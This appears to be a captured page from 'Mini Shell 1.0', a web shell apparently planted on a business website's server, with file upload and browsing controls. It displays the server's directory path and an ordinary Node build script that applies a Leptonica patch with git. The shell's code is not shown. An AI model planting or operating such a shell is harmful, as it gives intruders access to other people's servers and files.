HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/node-app/node_modules/node-native-ocr/scripts/
Upload File :
Current File : //var/www/node-app/node_modules/node-native-ocr/scripts/patch-leptonica.js
const { join } = require('path');
const path = require('path');
const shell = require('shelljs');

const homeDir = path.resolve(__dirname,'..');
shell.cd(homeDir);
shell.echo(`Working directory: ${homeDir}`);

applyPatchFile('leptonica_cmakelists.patch', 'leptonica');

function applyPatchFile(filename, workingDirectory) {
  const fullPatchFilePath = join(homeDir, 'patches', filename);
  shell.echo(`Applying patch ${fullPatchFilePath}`);
  shell.exec(`git apply ${fullPatchFilePath} --directory=${workingDirectory} --ignore-space-change --ignore-whitespace`);
}